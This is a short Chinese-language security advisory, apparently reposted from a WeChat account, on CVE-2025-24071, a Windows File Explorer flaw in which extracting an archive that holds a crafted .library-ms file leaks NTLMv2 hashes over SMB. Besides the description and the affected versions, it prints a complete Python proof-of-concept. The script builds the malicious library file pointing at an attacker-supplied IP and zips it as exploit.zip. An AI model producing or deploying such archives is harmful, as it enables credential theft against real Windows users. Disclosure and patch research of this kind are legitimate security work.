0x00 前言
Windows 文件资源管理器（File Explorer）是Windows操作系统的核心组件，主要用于浏览、管理和操作本地及网络文件、文件夹、驱动器等资源。它提供直观的图形化界面，支持文件创建、复制、移动、删除、重命名等基础操作，同时集成网络共享访问、外部设备管理、文件搜索与筛选等高级功能，是多任务文件处理的核心工具。
0x01 漏洞描述
Windows 资源管理器在解压包含特制 .library-ms 文件的 RAR/ZIP 存档时，会自动解析该文件内嵌的恶意 SMB 路径（如 \192.168.1.116shared），触发隐式 NTLM 认证握手，导致用户 NTLMv2 哈希泄露。
0x02 CVE编号
CVE-2025-24071
0x03 影响版本
Windows Server 2012 R2 (Server Core installation)Windows Server 2012 R2Windows Server 2016 (Server Core installation)Windows Server 2016Windows 10 Version 1607 for x64-based SystemsWindows 10 Version 1607 for 32-bit SystemsWindows 10 for x64-based SystemsWindows 10 for 32-bit SystemsWindows Server 2025Windows 11 Version 24H2 for x64-based SystemsWindows 11 Version 24H2 for ARM64-based SystemsWindows Server 2022, 23H2 Edition (Server Core installation)Windows 11 Version 23H2 for x64-based SystemsWindows 11 Version 23H2 for ARM64-based SystemsWindows Server 2025 (Server Core installation)Windows 10 Version 22H2 for 32-bit SystemsWindows 10 Version 22H2 for ARM64-based SystemsWindows 10 Version 22H2 for x64-based SystemsWindows 11 Version 22H2 for x64-based SystemsWindows 11 Version 22H2 for ARM64-based SystemsWindows 10 Version 21H2 for x64-based SystemsWindows 10 Version 21H2 for ARM64-based SystemsWindows 10 Version 21H2 for 32-bit SystemsWindows Server 2022 (Server Core installation)Windows Server 2022Windows Server 2019 (Server Core installation)Windows Server 2019Windows 10 Version 1809 for x64-based SystemsWindows 10 Version 1809 for 32-bit Systems
0x04 漏洞详情
POC：
https://github.com/0x6rss/CVE-2025-24071_PoC/
import osimport zipfiledef main():file_name = input("Enter your file name: ")ip_address = input("Enter IP (EX: 192.168.1.162): ")library_content = f"""<libraryDescriptionxmlns="http://schemas.microsoft.com/windows/2009/library"><searchConnectorDescriptionList><searchConnectorDescription><simpleLocation><url>\\{ip_address}\shared</url></simpleLocation></searchConnectorDescription></searchConnectorDescriptionList></libraryDescription>"""library_file_name = f"{file_name}.library-ms"with open(library_file_name, "w", encoding="utf-8") as f:f.write(library_content)with zipfile.ZipFile("exploit.zip", mode="w", compression=zipfile.ZIP_DEFLATED) as zipf:zipf.write(library_file_name)if os.path.exists(library_file_name):os.remove(library_file_name)print("completed")if __name__ == "__main__":main()
0x05 参考链接
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-24071
原文始发于微信公众号（信安百科）：CVE-2025-24071｜Windows 文件资源管理器欺骗漏洞（POC）
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